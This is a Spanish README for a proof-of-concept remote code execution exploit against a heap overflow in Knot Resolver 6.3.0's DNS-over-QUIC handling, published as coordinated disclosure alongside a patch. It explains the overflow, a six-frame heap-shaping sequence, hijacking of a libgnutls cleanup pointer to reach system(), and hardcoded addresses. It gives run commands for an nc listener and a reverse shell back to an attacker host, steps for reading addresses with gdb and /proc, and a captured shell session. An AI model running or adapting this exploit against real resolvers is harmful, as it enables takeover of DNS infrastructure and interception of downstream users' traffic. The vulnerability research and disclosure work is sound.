
CVE-2026-66374: Desbordamiento de heap en Knot Resolver 6.3.0 DNS-over-QUIC (RCE)
Prueba de concepto de un desbordamiento de búfer en el montón (heap) desencadenable remotamente en la ruta de recepción DNS-over-QUIC (DoQ) de Knot Resolver que permite la ejecución remota de código como el usuario de servicio knot-resolver.
kresd (daemon/quic_conn.c)6.3.0-cznic.1~bookworm)knot-resolver; como mínimo, caída remota / DoSPublicado junto con el parche y el aviso del proveedor como parte de una divulgación coordinada. Solo para investigación de seguridad autorizada y validación defensiva.
Explotación remota completa: el exploit se lanza desde la máquina del atacante a través de DNS-over-QUIC y se captura una shell inversa de knot-resolver con nc (haz clic para ver el vídeo a resolución completa):
Knot Resolver es un resolutor DNS recursivo de caché de código abierto desarrollado por CZ.NIC (el registro .cz). Resuelve consultas DNS en nombre de los clientes (dispositivos de usuario final, flotas de resolutores de ISP y servicios de resolución pública) y almacena en caché las respuestas. Admite transportes cifrados modernos, incluidos DNS-over-TLS (DoT), DNS-over-HTTPS (DoH) y DNS-over-QUIC (DoQ), e incluye validación DNSSEC y caché agresiva.
Es popular en entornos de grandes ISP, donde su amplio conjunto de funciones (política programable, DNSSEC, transportes cifrados, caché de grano fino) y su alto rendimiento lo hacen muy adecuado para atender a bases de suscriptores muy grandes.
El daemon (kresd) es un servicio de red de larga duración directamente expuesto a entradas no confiables de cualquier host que pueda alcanzar su puerto de escucha. Esto convierte un fallo de corrupción de memoria en su ruta de recepción de paquetes —como el explotado aquí— en una superficie de ataque remota y sin autenticación: comprometer el resolutor permite a un atacante falsificar respuestas DNS para todos los clientes aguas abajo, es decir, redirigir o interceptar prácticamente todo su tráfico.
kr_recv_stream_data_cb() reensambla las tramas STREAM de DoQ en un búfer de entrada por conexión (pers_inbuf). Dicho búfer se hace crecer con
pers_inbuf.size += datalen; /* bug: accumulates, never re-baselines */
en lugar de establecer el tamaño al nuevo total. A lo largo de varias tramas, el size rastreado se desvía por encima de la asignación real. Por tanto, una trama final cuyo datalen cabe dentro del size inflado omite la reasignación, pero el memcpy() posterior está limitado por ese tamaño inflado, por lo que escribe más allá del final del objeto. jemalloc mantiene el objeto fijado a su clase de tamaño real, de modo que los bytes sobrantes van a parar a la ranura de losa adyacente.
Una secuencia de seis tramas en un mismo stream lleva pers_inbuf a través de cinco clases de tamaño de jemalloc hasta la clase de 6144 bytes y luego desborda a la ranura vecina:
F1 datalen=8 initial 1200-byte allocation
F2 datalen=1440 realloc -> 1536-class
F3 datalen=1440 realloc -> 3072-class
F4 datalen=1440 realloc -> 5120-class
F5 datalen=1440 realloc -> 6144-class
F6 datalen=1200, FIN no realloc -> 814-byte OOB write into slot+1
Un grooming ligero de conexiones (abrir varias conexiones DoQ y liberar la mitad justo antes de disparar) consigue que slot+1 contenga un manejador de limpieza de libgnutls. El desbordamiento sobrescribe el puntero de despacho de ese manejador, su argumento y el indicador que controla el despacho. Durante el cierre de la conexión, libgnutls ejecuta
call *0x110(%rbx) ; %rbx = attacker-controlled slot+1
lo que otorga el control del puntero de instrucción (RIP) y del primer argumento (RDI). El PoC dirige esto a system() con un puntero a una cadena de comando proporcionada por el atacante y escrita en la misma ranura.
Este PoC está dirigido a un host con ASLR deshabilitado (kernel.randomize_va_space = 0). Con la aleatorización desactivada, las direcciones del montón y de libc son deterministas, por lo que las dos direcciones que necesita el exploit (slot+1 y system()) son constantes para una compilación determinada. Derrotar a ASLR es un problema aparte y está deliberadamente fuera de alcance aquí: el objetivo es demostrar la primitiva corrupción de memoria → control de flujo → ejecución de código de forma aislada.
Debido a que esas direcciones son deterministas, no se requiere fuga de información: el exploit se ejecuta íntegramente a través de la red desde un host remoto. Las direcciones se recuperan una sola vez con el paso probe (abajo) en cualquier compilación idéntica y luego se fijan en el código; en la compilación de referencia son slot+1 = 0x7ffff66c5000 y system = 0x7ffff746a490.
| Archivo | Propósito |
|---|---|
poc.py | El exploit. Modos: probe, rip, exec. |
probe.gdb | Oráculo de gdb que lee el pers_inbuf determinista. |
README.md | Este documento. |
Requiere Python 3 con aioquic y netcat en el lado del atacante, y gdb en el objetivo solo para el paso único de probe.
Esta es la demostración principal: el exploit se lanza desde la máquina del atacante, a través de la red, con las dos direcciones deterministas fijadas en el código. No se lee nada del objetivo: ni /proc, ni gdb, ni registros.
# On the attacker box: listen for the shell
$ nc -lvnp 4444 # Linux; on macOS/BSD: nc -l 4444
# In another terminal: fire the exploit at the target's DoQ port
$ python3 poc.py exec \
--host <target> --port 8853 \
--slot1 0x7ffff66c5000 \
--system 0x7ffff746a490 \
--lhost <attacker-ip> --lport 4444 \
--rounds 250
Cada ronda que acierta llama a system() en el objetivo con un comando de shell inversa; la shell se conecta de vuelta a --lhost:--lport, donde nc la recibe. Cuando llega, escribe en la sesión de netcat para manejar la shell:
knot-resolver@doqlab:/run/knot-resolver$ id; hostname; uname -srm
uid=104(knot-resolver) gid=109(knot-resolver) groups=109(knot-resolver)
doqlab
Linux 6.1.0-50-cloud-amd64 x86_64
Los valores de --slot1 / --system se recuperan una sola vez con el paso probe en cualquier compilación idéntica; son constantes mientras ASLR esté desactivado.
Los valores de --slot1 / --system indicados arriba son constantes mientras ASLR esté desactivado; recupéralos una sola vez en cualquier compilación idéntica. Requisito previo:
$ sudo sysctl -w kernel.randomize_va_space=0
# slot+1 : gdb oracle reads the deterministic pers_inbuf, +0x1800
$ sudo gdb -batch -p "$(pidof /usr/sbin/kresd)" -x probe.gdb &
$ sudo ./venv/bin/python3 poc.py probe
$ grep slot1 /tmp/pers_inbuf_oracle.txt
CONSUME: buf=0x7ffff66c3800 slot1=0x7ffff66c5000
# system : libc base (ASLR off) + system() offset
$ addr=$(grep -m1 libc.so /proc/$(pidof /usr/sbin/kresd)/maps | cut -d- -f1)
$ printf 'system = 0x%x\n' $((0x$addr + 0x$(readelf --dyn-syms /lib/x86_64-linux-gnu/libc.so.6 | awk '$8 ~ /^system@/ {print $2; exit}')))
poc.py rip --rounds 8 demuestra además el control directo de RIP/RDI (el objetivo se bloquea en el puntero de instrucción elegido por el atacante).
Medido en la compilación de referencia (Debian 12, 6.3.0-cznic.1, ASLR desactivado):
| Primitiva | Tasa |
|---|---|
Control de RIP/RDI (rip, caída) | ~7/8 por ronda |
Ejecución completa de system() (exec) | ~1 de cada 30–50 rondas |
La diferencia es inherente: system() se ejecuta sobre un montón que el desbordamiento acaba de corromper, por lo que la mayoría de los despachos bloquean a kresd antes de que se cree el proceso hijo. El daemon es reiniciado por su supervisor tras cada caída, la dirección es determinista con ASLR desactivado y cada intento es independiente, así que el bucle exec simplemente reintenta hasta que uno acierta (en la ejecución remota anterior, la shell llegó en la ronda 5). Un intento fallido es una caída transitoria de un worker (DoS). Los parámetros de grooming --groom 16 --close 8 --qpc 4 son los valores por defecto empíricamente mejores; un cierre más agresivo (p. ej., --close 16 con --groom 32) hace caer la tasa de aciertos.
OS Debian 12 (bookworm), glibc 2.36
kresd knot-resolver6 6.3.0-cznic.1~bookworm
libgnutls 3.7.9-2+deb12u7
config DoQ listener on 127.0.0.1@8853
La geometría de las clases de tamaño (seis tramas, cargas útiles de 1200/1440 bytes) y el desplazamiento de despacho de libgnutls son específicos de esta compilación; otras compilaciones requieren volver a derivar los tamaños de trama y los desplazamientos.
| Fecha | Evento |
|---|---|
| 2026-06-08 | Vulnerabilidad reportada al proveedor (CZ.NIC). |
| 2026-07-22 | Parche publicado en Knot Resolver 6.4.1, con aviso del proveedor. |
| 2026-07-23 | Este PoC y el análisis publicado. |
Reportado al proveedor el 2026-06-08 y publicado en coordinación con el parche oficial (6.4.1, 2026-07-22). Proporcionado para pruebas autorizadas, validación defensiva e investigación. No lo ejecutes contra sistemas que no poseas o para los que no tengas autorización explícita de prueba.
SPDX-License-Identifier: MIT